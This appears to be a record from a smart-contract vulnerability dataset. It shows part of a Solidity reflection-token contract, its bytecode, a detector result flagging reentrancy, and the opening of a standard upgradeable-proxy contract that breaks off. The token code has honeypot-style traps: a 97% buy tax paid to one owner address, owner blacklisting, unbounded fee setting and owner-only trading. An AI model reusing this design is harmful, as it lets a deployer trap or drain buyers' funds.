_redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x6D87320A0424Af4e6F13132320B241250f27BA53); address payable private _marketingAddress = payable(0x6D87320A0424Af4e6F13132320B241250f27BA53); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ad57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b506040805180820190915260088152674c65766920496e7560c01b60208201525b6040516102389190611a1f565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a74565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa0565b6106ae565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae1565b610717565b34801561036b57600080fd5b506101fc61037a366004611b0e565b610762565b34801561038b57600080fd5b506101fc6107aa565b3480156103a057600080fd5b506102bf6103af366004611ae1565b6107f5565b3480156103c057600080fd5b506101fc610817565b3480156103d557600080fd5b506101fc6103e4366004611b29565b61088b565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae1565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0e565b6108ba565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260048152634c45564960e01b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b29565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b42565b610931565b3480156104f957600080fd5b50610261610508366004611a74565b61096f565b34801561051957600080fd5b50610261610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109d0565b34801561057e57600080fd5b506102bf61058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c31565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c31565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c66565b9050602002016020810190610a319190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c92565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611cad565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cdc565b816001815181106113c9576113c9611c66565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f908661172e565b6001600160a01b0389166000908152600260205260409020556115c18161178d565b6115cb84836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163d82826114bc565b8210156116585750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611499565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173b8385611cad565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611797611499565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114bc565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a8565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112db81611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112db82611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112db81611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d29030612ddb8b213f81bc8eacb58587c263b3004beea6b8f64d278ebb1994e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,793
0x247b6b13ad67d9c795a25c1d9a6c3857166e4b1a
/** *Submitted for verification at Etherscan.io on 2020-11-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, 